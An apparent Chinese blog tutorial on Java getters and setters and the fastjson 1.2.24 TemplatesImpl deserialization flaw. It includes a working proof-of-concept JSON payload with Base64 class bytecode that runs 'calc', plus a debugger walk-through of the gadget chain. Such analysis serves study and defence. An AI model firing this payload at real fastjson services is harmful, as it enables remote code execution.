Java--fastjson-1.2.24 TemplatesImpl 反序列化
getter和setter
先來看一下Java中的getter和setter方法,
簡單來說就是呼叫setter方法設定變數的值,呼叫getter方法來獲取變數的值。
體現了Java三大特性之一封裝
用private去修飾一個變數,然後再用setter方法去設定該變數的值,然後在用getter方法去呼叫該變數的值
package first; public class Student{ private String number;//學生學號 private String name;//學生姓名 private int grade;//學生成績 public Student(){ }public String getNumber(){//用get方法得到學號(下同) return number; } public void setNumber(String number){//用set方法去設定學號(下同) this.number=number; } public String getName(){ return name; } public void setName(String name){ this.name=name; } public intgetGrade(){ return grade; } public void setGrade(int grade){ this.grade=grade; } public static void main(String agrs[]){ Student st=new Student(); st.setNumber("MX16604"); st.setName("小明"); st.setGrade(100); System.out.println("學號為:"+st.getNumber()+","+"姓名為:"+st.getName()+","+"成績為:"+st.getGrade()+"."); } }
執行結果是很簡單的:
那麼再來看看除錯的過程
通過setter方法已經把初值賦給了private的三個屬性
然後呼叫getter獲取值
TemplatesImpl 反序列化
去下載fastjson-1.2.24的jar包,載入到專案下
這個java檔案位於com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
給出一個簡單的poc
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; public class TemplatesImplPoc { public static void main(String[] args) { ParserConfig config = new ParserConfig(); String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADEAMgoABgAjCgAkACUIACYKACQAJwcAKAcAKQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQApTGNvbS9kYXJrZXJib3gv5p6E6YCgYnl0ZWNvZGVzL2J5dGVjb2RlMTsBAApFeGNlcHRpb25zBwAqAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAKwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcALAEAClNvdXJjZUZpbGUBAA5ieXRlY29kZTEuamF2YQwABwAIBwAtDAAuAC8BAARjYWxjDAAwADEBACdjb20vZGFya2VyYm94L+aehOmAoGJ5dGVjb2Rlcy9ieXRlY29kZTEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAAEAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADwAEABAADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAFQALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAA4AAAAEAAEAFgABABAAFwABAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAGQALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABgAGQACAAAAAQAaABsAAwAJABwAHQACAAkAAAArAAAAAQAAAAGxAAAAAgAKAAAABgABAAAAHgALAAAADAABAAAAAQAeAB8AAAAOAAAABAABACAAAQAhAAAAAgAi\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}"; // Fastjson預設只會反序列化public修飾的屬性,outputProperties和_bytecodes由private修飾,必須加入Feature.SupportNonPublicField 在parseObject中才能觸發; Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField); } }
為什麼json的paylaod這樣寫呢,下面先來了解一些基礎
@type是指定了解析的類,也就是後面寫的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
fastjson去指定類反序列化得到該類的例項。
(注意在預設情況下只會去反序列化public所修飾的屬性,而poc中用到的_bytecodes和_name都是私有屬性)
想要反序列化私有屬性就得在用parseObject()時候設定Feature.SupportNonPublicField
_bytecodes——是我們把惡意類的.class檔案二進位制格式進行Base64編碼後得到的字串;
_outputProperties——漏洞利用鏈的關鍵 會呼叫其引數的getOutputProperties()方法,進而導致命令執行;
_tfactory:{}——在defineTransletClasses()時會呼叫getExternalExtensionsMap(),當為null時會報錯,所以要對_tfactory設定;
除錯分析
在 getOutputProperties()處下斷點,反序列化後呼叫到這裡,該方法又呼叫了
newTransformer().getOutputProperties()方法
然後我們跟進進入newTransformer()方法,看到又呼叫了getTransletInstance()方法
繼續跟進getTransletInstance()方法,可以看到已經在構造建立生成Java類了
這裡需要_name不為空且,_class為空就會去呼叫defineTransletClasses()這個方法
這裡需要說明一下 這個defineTransletClasses()的邏輯要求_bytecodes不為空
著就會呼叫自定義的 ClassLoader 去載入_bytecodes
中的byte[]
。而_bytecodes
也是該類的成員屬性。
而如果這個類的父類為ABSTRACT_TRANSLET
也就是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,
就會將類成員屬性的,_transletIndex
設定為當前迴圈中的標記位,
而如果是第一次呼叫,就是_class[0]
。如果父類不是這個類,將會丟擲異常。
再往後就是生成我們位元組碼定義的惡意類,執行命令彈計算器了
整個個呼叫鏈就是:
反序列化時候,因為getter方法getOutputProperties滿足條件被fastjson呼叫,這個方法觸發了整個利用流程。
getOutputProperties()->newTransformer()->getTransletInstance()(這裡生成我們的惡意類)->defineTransletClasses()
EvilClass.newInstance()
對_bytecodes進行Base64編碼
分析Fastjson對JSON字串的解析過程,原理Fastjson提取byte[]陣列欄位值時會進行Base64解碼,所以我們構造payload時需要對_bytecodes
欄位進行Base64加密處理。
需要設定_tfactory為{}
由前面的除錯分析知道,在getTransletInstance()函式中呼叫了defineTransletClasses()函式,defineTransletClasses()函式是用於生成Java類的,在其中會新建一個轉換類載入器,其中會呼叫到_tfactory.getExternalExtensionsMap()
方法,若_tfactory
為null則會導致這段程式碼報錯、從而無法生成惡意類,進而無法成功攻擊利用:
同樣的在前面可以看到需要滿足_name也不為空。
反序列化呼叫getter方法時會呼叫到TemplatesImpl.getOutputProperties()方法
getOutputProperties()方法是個無引數的非靜態的getter方法,以get開頭且第四個字母為大寫形式,其返回值型別是Properties即繼承自Map型別,Fastjson反序列化時會呼叫的getter方法的條件,因此在使用Fastjson對TemplatesImpl類物件進行反序列化操作時會自動呼叫getOutputProperties()方法。
參考:Java反序列化